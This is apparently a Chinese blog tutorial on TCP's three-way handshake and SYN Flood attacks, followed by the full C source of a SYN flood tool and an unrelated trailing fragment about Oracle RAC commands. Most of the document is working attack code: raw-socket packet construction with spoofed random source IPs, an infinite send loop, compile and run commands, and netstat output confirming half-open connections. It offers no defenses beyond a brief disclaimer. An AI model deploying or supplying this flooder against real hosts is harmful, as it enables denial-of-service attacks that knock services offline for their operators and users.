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TCP协议是 TCP/IP 协议栈中一个重要的协议,平时我们使用的浏览器,APP等大多使用 TCP 协议通讯的,可见 TCP 协议在网络中扮演的角色是多么的重要。
TCP 协议是一个可靠的、面向连接的流协议,由于 TCP 协议是建立在 IP 协议这种面向无连接的协议,所以 TCP 协议必须自己来维护连接的状态。
TCP 协议通过一种名为 三次握手 的过程来建立客户端与服务端的连接,三次握手 过程的原理如图1:
(图一 三次握手过程)
建立连接三次握手过程如下:
客户端需要发送一个 SYN包
给服务端(包含了客户端初始化序列号),并且将连接的状态设置为 SYN_SENT
,这个过程由 connect()
系统调用完成。
服务端接收到客户端发送过来的 SYN包
后,回复一个 SYN+ACK包
给客户端(包含了服务端初始化序列号),并且设置连接的状态为 SYN_RCVD
。
客户端接收到服务端发送过来的 SYN+ACK包
后,设置连接状态为 ESTABLISHED
(表示连接已经建立),并且回复一个 ACK包
给服务端。
服务端接收到客户端发送过来的 ACK包
后,将连接状态设置为 ESTABLISHED
(表示连接已经建立)。
当 三次握手 过程完成后,一个 TCP 连接就此建立完成。
上面介绍了建立一个 TCP 连接的 三次握手 过程,我们可以发现,三次握手 属于一个协商的过程,也就是说客户端与服务端必须严格按照这个过程来进行,否则连接就不能建立。
这时,如果客户端发送 SYN包 企图与服务端建立连接,但发送完 SYN包 后就不管,那会发送什么事情呢?如图2所示:
(图2 SYN-Flood)
客户端发送一个 SYN包 给服务端后就退出,而服务端接收到 SYN包 后,会回复一个 SYN+ACK包 给客户端,然后等待客户端回复一个 ACK包。
但此时客户端并不会回复 ACK包,所以服务端只能一直等待直到超时。服务端超时后,会重发 SYN+ACK包 给客户端,默认会重试 5 次,而且每次等待的时间都会增加(可以参考 TCP 协议超时重传的实现)。
另外,当服务端接收到 SYN包 后,会建立一个半连接状态的 Socket。所以,当客户端一直发送 SYN包,但不回复 ACK包,那么将会耗尽服务端的资源,这就是 SYN Flood 攻击。
接下来,我们通过自己编写代码来进行 SYN Flood攻击 实验。
因为 SYN Flood攻击 需要构建 TCP 协议头部,所以下面介绍一下 TCP 协议头部的格式,如图3:
(图3 TCP 协议头部格式)
我们定义以下结构来描述 TCP 协议头部:
struct tcphdr {
unsigned short sport; // 源端口
unsigned short dport; // 目标端口
unsigned int seq; // 序列号
unsigned int ack_seq; // 确认号
unsigned char len; // 首部长度
unsigned char flag; // 标志位
unsigned short win; // 窗口大小
unsigned short checksum; // 校验和
unsigned short urg; // 紧急指针
};
下面是设置 TCP 头部的过程:
标志位中的 SYN 字段必须设置为 1,表示这是一个 SYN包,由于 SYN位 位于 flag 字段的第二位,所以可以将 flag 字段设置为 0x02。
源端口号和序列号我们可以随机设置一个,目的端口号设置成要攻击的目标端口。
确认号设置为 0,因为我们还不知道服务端的序列号。
窗口大小可以随便设置,但通常不要设置太小(可以设置成1024)。
校验和这个比较复杂,因为 TCP 协议在计算检验和时,要加上一个12字节的伪首部,伪首部格式如下图:
伪首部共有 12 字节,包含 IP 协议头部的一些字段,有如下信息:32位源IP地址、32位目的IP地址、8位保留字节(置0)、8位传输层协议号(TCP是6,UDP是17)、16位TCP报文长度(TCP首部+数据)。
TCP 协议校验和计算三部分:TCP伪首部 + TCP头部 + TCP数据。
紧急指针可以设置为 0。
按照上面的分析,定义 TCP 伪首部的结构如下:
struct pseudohdr {
unsigned int saddr;
unsigned int daddr;
char zeros;
char protocol;
unsigned short length;
};
计算校验和的算法有点复杂,所以这里直接从网上找到一个封装好的函数,如下(有兴趣可以参考 TCP 协议的 RFC 文档):
unsigned short inline
checksum(unsigned short *buffer, unsigned short size)
{
unsigned long cksum = 0;
while (size > 1) {
cksum += *buffer++;
size -= sizeof(unsigned short);
}
if (size) {
cksum += *(unsigned char *)buffer;
}
cksum = (cksum >> 16) + (cksum & 0xffff);
cksum += (cksum >> 16);
return (unsigned short )(~cksum);
}
另外,为了在攻击的时候能够设置不同的 IP 地址(因为相同的 IP 地址容易被识别而过滤),我们还需要定义 IP 协议头部。IP 协议头部的格式如图4:
(图4 IP 协议头部)
我们定义以下结构来表示 IP 协议头部:
struct iphdr {
unsigned char ver_and_hdrlen;// 版本号与IP头部长度
unsigned char tos; // 服务类型
unsigned short total_len; // 总长度
unsigned short id; // IP包ID
unsigned short flags; // 标志位(包括分片偏移量)
unsigned char ttl; // 生命周期
unsigned char protocol; // 上层协议
unsigned short checksum; // 校验和
unsigned int srcaddr; // 源IP地址
unsigned int dstaddr; // 目标IP地址
};
下面我们实现初始化 IP 头部的函数 init_ip_header()
:
void init_ip_header(struct iphdr *iphdr, unsigned int srcaddr, unsigned int dstaddr)
{
int len = sizeof(struct ip) + sizeof(struct tcphdr);
iphdr->ver_and_hdrlen = (4 << 4 | sizeof(struct iphdr) / sizeof(unsigned int));
iphdr->tos = 0;
iphdr->total_len = htons(len);
iphdr->id = 1;
iphdr->flags = 0x40;
iphdr->ttl = 255;
iphdr->protocol = IPPROTO_TCP;
iphdr->checksum = 0;
iphdr->srcaddr = srcaddr; // 源IP地址
iphdr->dstaddr = dstaddr; // 目标IP地址
}
init_ip_header()
函数比较简单,就是通过传入的源 IP 地址和目标 IP 地址初始化 IP 头部结构。
接下来,我们要实现初始化 TCP 头部的函数 init_tcp_header()
:
void init_tcp_header(struct tcphdr *tcphdr, unsigned short dport)
{
tcp->sport = htons(rand() % 16383 + 49152); // 随机生成一个端口
tcp->dport = htons(dport); // 目标端口
tcp->seq = htonl(rand() % 90000000 + 2345 ); // 随机生成一个初始化序列号
tcp->ack_seq = 0;
tcp->len = (sizeof(struct tcphdr) / 4 << 4 | 0);
tcp->flag = 0x02;
tcp->win = htons(1024);
tcp->checksum = 0;
tcp->urg = 0;
}
现在我们定义一个 TCP 伪首部初始化函数 init_pseudo_header()
:
void init_pseudo_header(struct pseudohdr *hdr, unsigned int srcaddr,
unsigned int dstaddr)
{
hdr->zero = 0;
hdr->protocol = IPPROTO_TCP;
hdr->length = htons(sizeof(struct tcphdr));
hdr->saddr = srcaddr;
hdr->daddr = dstaddr;
}
接下来我们要实现最为重要的一个函数,就是构建 SYN包,其实现如下:
int make_syn_packet(char *packet, int pkt_len, unsigned int daddr,
unsigned short dport)
{
char buf[100];
int len;
struct iphdr ip; // IP 头部
struct tcphdr tcp; // TCP 头部
struct pseudohdr pseudo; // TCP 伪头部
unsigned int saddr = rand(); // 随机生成一个源IP地址
len = sizeof(ip) + sizeof(tcp);
// 初始化头部信息
init_ip_header(&ip, saddr, daddr);
init_tcp_header(&tcp, dport);
init_pseudo_header(&pseudo, saddr, daddr);
//计算IP校验和
ip.checksum = checksum((u_short *)&ip, sizeof(ip));
// 计算TCP校验和
bzero(buf, sizeof(buf));
memcpy(buf , &pseudo, sizeof(pseudo)); // 复制TCP伪头部
memcpy(buf + sizeof(pseudo), &tcp, sizeof(tcp)); // 复制TCP头部
tcp.checksum = checksum((u_short *)buf, sizeof(pseudo) + sizeof(tcp));
bzero(packet, pkt_len);
memcpy(packet, &ip, sizeof(ip));
memcpy(packet + sizeof(ip), &tcp, sizeof(tcp));
return len;
}
make_syn_packet()
函数主要通过 目标IP地址 和 目标端口 生成一个 SYN包,保存到参数 packet 中,并且返回包的大小。
由于要发送自己构建的 IP 头部和 TCP 头部,所以必须使用 原始套接字 来发送。原始套接字 在创建时需要指定 SOCK_RAW
参数,下面我们定义一个创建原始套接字的函数:
int make_raw_socket()
{
int fd;
int on = 1;
// 创建一个原始套接字, 指定其关注TCP协议
fd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
if (fd == -1) {
return -1;
}
// 设置需要手动构建IP头部
if (setsockopt(fd, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) < 0) {
close(fd);
return -1;
}
return fd;
}
在调用 socket()
函数创建套接字时,指定第二个参数为 SOCK_RAW
,表示创建的套接字为原始套接字。然后调用 setsockopt()
函数设置 IP 头部由我们自己构建。
下面我们实现发送 SYN包 的函数:
int send_syn_packet(int sockfd, unsigned int addr, unsigned short port)
{
struct sockaddr_in skaddr;
char packet[256];
int pkt_len;
bzero(&skaddr, sizeof(skaddr));
skaddr.sin_family = AF_INET;
skaddr.sin_port = htons(port);
skaddr.sin_addr.s_addr = addr;
pkt_len = make_syn_packet(packet, 256, addr, port);
return sendto(sockfd, packet, pkt_len, 0, (struct sockaddr *)&skaddr,
sizeof(struct sockaddr));
}
send_syn_packet()
函数需要传入原始套接字、目标IP地址和目标端口,然后通过调用 sendto()
函数向服务端发送一个 SYN包。
最后,我们来实现主函数 main()
:
int main(int argc, char *argv[])
{
unsigned int addr;
unsigned short port;
int sockfd;
if (argc < 3) {
fprintf(stderr, "Usage: synflood <address> <port>\n");
exit(1);
}
addr = inet_addr(argv[1]); // 获取目标IP
port = atoi(argv[2]); // 获取目标端口
if (port < 0 || port > 65535) {
fprintf(stderr, "Invalid destination port number: %s\n", argv[2]);
exit(1);
}
sockfd = make_raw_socket(); // 创建原始socket
if (sockfd == -1) {
fprintf(stderr, "Failed to make raw socket\n");
exit(1);
}
for (;;) {
if (send_syn_packet(sockfd, addr, port) < 0) { // 发送SYN包
fprintf(stderr, "Failed to send syn packet\n");
}
}
close(sockfd);
return 0;
}
main()
函数也很简单,首先从命令行读取到 目标 IP 地址 和 目标端口,然后调用 make_raw_socket()
创建一个原始套接字,最后在一个无限循环中不断向服务端发送 SYN包。
完整的源代码在:https://github.com/liexusong/synflood/blob/main/synflood.c
现在我们通过以下命令来编译这个程序:
root@vagrant]$ gcc -o synflood synflood.c
然后使用以下命令运行程序:
root@vagrant]$ sudo synflood 127.0.0.1 80
上面的命令就是攻击本地的80端口,我们可以使用以下命令查看TCP连接的状态:
root@vagrant]$ netstat -np|grep tcp
tcp 0 0 127.0.0.1:80 229.20.1.110:51861 SYN_RECV -
tcp 0 0 127.0.0.1:80 239.137.18.30:52104 SYN_RECV -
tcp 0 0 127.0.0.1:80 233.90.28.10:65322 SYN_RECV -
tcp 0 0 127.0.0.1:80 236.13.8.74:57922 SYN_RECV -
tcp 0 0 127.0.0.1:80 229.81.76.55:52345 SYN_RECV -
tcp 0 0 127.0.0.1:80 236.226.188.82:53560 SYN_RECV -
tcp 0 0 127.0.0.1:80 236.245.238.56:49499 SYN_RECV -
tcp 0 0 127.0.0.1:80 224.222.45.20:49270 SYN_RECV -
tcp 0 0 127.0.0.1:80 230.2.130.115:63709 SYN_RECV -
tcp 0 0 127.0.0.1:80 239.233.180.85:59636 SYN_RECV -
tcp 0 0 127.0.0.1:80 236.168.175.81:60326 SYN_RECV -
tcp 0 0 127.0.0.1:80 235.27.77.111:65276 SYN_RECV -
tcp 0 0 127.0.0.1:80 236.4.252.114:60898 SYN_RECV -
tcp 0 0 127.0.0.1:80 226.62.209.29:64605 SYN_RECV -
tcp 0 0 127.0.0.1:80 232.106.157.82:56451 SYN_RECV -
tcp 0 0 127.0.0.1:80 235.247.175.35:54963 SYN_RECV -
tcp 0 0 127.0.0.1:80 231.100.248.95:58660 SYN_RECV -
tcp 0 0 127.0.0.1:80 228.113.70.57:60157 SYN_RECV -
tcp 0 0 127.0.0.1:80 236.76.245.32:59218 SYN_RECV -
tcp 0 0 127.0.0.1:80 232.76.169.15:50441 SYN_RECV -
tcp 0 0 127.0.0.1:80 236.191.51.34:53060 SYN_RECV -
tcp 0 0 127.0.0.1:80 227.215.119.119:55480 SYN_RECV -
tcp 0 0 127.0.0.1:80 227.185.145.18:56882 SYN_RECV -
tcp 0 0 127.0.0.1:80 234.73.216.62:58793 SYN_RECV -
tcp 0 0 127.0.0.1:80 234.183.17.49:59739 SYN_RECV -
tcp 0 0 127.0.0.1:80 235.233.86.125:55530 SYN_RECV -
tcp 0 0 127.0.0.1:80 229.117.216.112:52235 SYN_RECV -
tcp 0 0 127.0.0.1:80 238.182.168.62:65214 SYN_RECV -
tcp 0 0 127.0.0.1:80 225.88.213.112:62171 SYN_RECV -
tcp 0 0 127.0.0.1:80 225.218.65.88:60597 SYN_RECV -
tcp 0 0 127.0.0.1:80 239.116.219.23:58731 SYN_RECV -
tcp 0 0 127.0.0.1:80 232.99.36.55:51906 SYN_RECV -
tcp 0 0 127.0.0.1:80 225.198.211.64:52338 SYN_RECV -
tcp 0 0 127.0.0.1:80 230.229.104.121:62795 SYN_RECV -
...
从上面的结果可以看出,服务器已经生成了很多半连接状态的 TCP 连接,表示我们的攻击已经生效。
本文主要介绍了 SYN Flood攻击 的原理与实施方式,本文的本意是通过理解攻击原理来更好的防范被攻击,而不是教你怎么去攻击,所以千万别用于恶意攻击、千万别用于恶意攻击、千万别用于恶意攻击(重要的事情讲三次)。
另外,防止 SYN Flood攻击 的方法很多,这里就不介绍了,有兴趣可以查阅相关的资料。
参考资料:1. https://blog.csdn.net/zhangskd/article/details/11770647
2. https://blog.csdn.net/jiange_zh/article/details/50446172
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#include <stdio.h>
#include <ctype.h>
#include <unistd.h>
#include <fcntl.h>
#include <signal.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <string.h>
#include <netdb.h>
#include <errno.h>
#include <stdlib.h>
#include <time.h>
#include <arpa/inet.h>
struct iphdr
{
unsigned char ver_and_hdrlen;// 版本号与IP头部长度
unsigned char tos; // 服务类型
unsigned short total_len; // 总长度
unsigned short id; // IP包ID
unsigned short flags; // 标志位(包括分片偏移量)
unsigned char ttl; // 生命周期
unsigned char protocol; // 上层协议
unsigned short checksum; // 校验和
unsigned int srcaddr; // 源IP地址
unsigned int dstaddr; // 目标IP地址
};
struct tcphdr
{
unsigned short sport; // 源端口
unsigned short dport; // 目标端口
unsigned int seq; // 序列号
unsigned int ack_seq; // 确认号
unsigned char len; // 首部长度
unsigned char flag; // 标志位
unsigned short win; // 窗口大小
unsigned short checksum; // 校验和
unsigned short urg; // 紧急指针
};
struct pseudohdr
{
unsigned int saddr;
unsigned int daddr;
char zeros;
char protocol;
unsigned short length;
};
unsigned short inline
checksum(unsigned short *buffer, unsigned short size)
{
unsigned long cksum = 0;
while (size > 1) {
cksum += *buffer++;
size -= sizeof(unsigned short);
}
if (size) {
cksum += *(unsigned char *)buffer;
}
cksum = (cksum >> 16) + (cksum & 0xffff);
cksum += (cksum >> 16);
return (unsigned short )(~cksum);
}
void init_ip_header(struct iphdr *ip, unsigned int srcaddr,
unsigned int dstaddr)
{
int len = sizeof(struct iphdr) + sizeof(struct tcphdr);
ip->ver_and_hdrlen = (4<<4 | sizeof(struct iphdr)/sizeof(unsigned int));
ip->tos = 0;
ip->total_len = htons(len);
ip->id = 1;
ip->flags = 0x40;
ip->ttl = 255;
ip->protocol = IPPROTO_TCP;
ip->checksum = 0;
ip->srcaddr = srcaddr; // 源IP地址
ip->dstaddr = dstaddr; // 目标IP地址
}
void init_tcp_header(struct tcphdr *tcp, unsigned short dport)
{
tcp->sport = htons(rand() % 16383 + 49152); // 随机生成一个端口
tcp->dport = htons(dport); // 目标端口
tcp->seq = htonl(rand() % 90000000 + 2345 ); // 随机生成一个初始化序列号
tcp->ack_seq = 0;
tcp->len = (sizeof(struct tcphdr) / 4 << 4 | 0);
tcp->flag = 0x02;
tcp->win = htons(1024);
tcp->checksum = 0;
tcp->urg = 0;
}
void init_pseudo_header(struct pseudohdr *pseudo, unsigned int srcaddr,
unsigned int dstaddr)
{
pseudo->zeros = 0;
pseudo->protocol = IPPROTO_TCP;
pseudo->length = htons(sizeof(struct tcphdr));
pseudo->saddr = srcaddr;
pseudo->daddr = dstaddr;
}
int make_syn_packet(char *packet, int pkt_len, unsigned int daddr,
unsigned short dport)
{
char buf[100];
int len;
struct iphdr ip; //IP 头部
struct tcphdr tcp; //TCP 头部
struct pseudohdr pseudo; //TCP 伪头部
unsigned int saddr = rand();
len = sizeof(ip) + sizeof(tcp);
// 初始化头部信息
init_ip_header(&ip, saddr, daddr);
init_tcp_header(&tcp, dport);
init_pseudo_header(&pseudo, saddr, daddr);
//计算IP校验和
ip.checksum = checksum((u_short *)&ip, sizeof(ip));
// 计算TCP校验和
bzero(buf, sizeof(buf));
memcpy(buf , &pseudo, sizeof(pseudo)); // 复制TCP伪头部
memcpy(buf + sizeof(pseudo), &tcp, sizeof(tcp)); // 复制TCP头部
tcp.checksum = checksum((u_short *)buf, sizeof(pseudo) + sizeof(tcp));
bzero(packet, pkt_len);
memcpy(packet, &ip, sizeof(ip));
memcpy(packet + sizeof(ip), &tcp, sizeof(tcp));
return len;
}
int make_raw_socket()
{
int fd;
int on = 1;
// 创建一个原始套接字, 指定其关注TCP协议
fd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
if (fd == -1) {
return -1;
}
// 设置需要手动构建IP头部
if (setsockopt(fd, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) < 0) {
close(fd);
return -1;
}
return fd;
}
int send_syn_packet(int sockfd, unsigned int addr, unsigned short port)
{
struct sockaddr_in skaddr;
char packet[256];
int pkt_len;
bzero(&skaddr, sizeof(skaddr));
skaddr.sin_family = AF_INET;
skaddr.sin_port = htons(port);
skaddr.sin_addr.s_addr = addr;
pkt_len = make_syn_packet(packet, 256, addr, port);
return sendto(sockfd, packet, pkt_len, 0, (struct sockaddr *)&skaddr,
sizeof(struct sockaddr));
}
int main(int argc, char *argv[])
{
unsigned int addr;
unsigned short port;
int sockfd;
if (argc < 3) {
fprintf(stderr, "Usage: synflood <address> <port>\n");
exit(1);
}
addr = inet_addr(argv[1]);
port = atoi(argv[2]);
if (port < 0 || port > 65535) {
fprintf(stderr, "Invalid destination port number: %s\n", argv[2]);
exit(1);
}
sockfd = make_raw_socket();
if (sockfd == -1) {
fprintf(stderr, "Failed to make raw socket\n");
exit(1);
}
for (;;) {
if (send_syn_packet(sockfd, addr, port) < 0) {
fprintf(stderr, "Failed to send syn packet\n");
}
}
close(sockfd);
return 0;
}
文章浏览阅读1.6k次。安装配置gi、安装数据库软件、dbca建库见下:http://blog.csdn.net/kadwf123/article/details/784299611、检查集群节点及状态:[root@rac2 ~]# olsnodes -srac1 Activerac2 Activerac3 Activerac4 Active[root@rac2 ~]_12c查看crs状态
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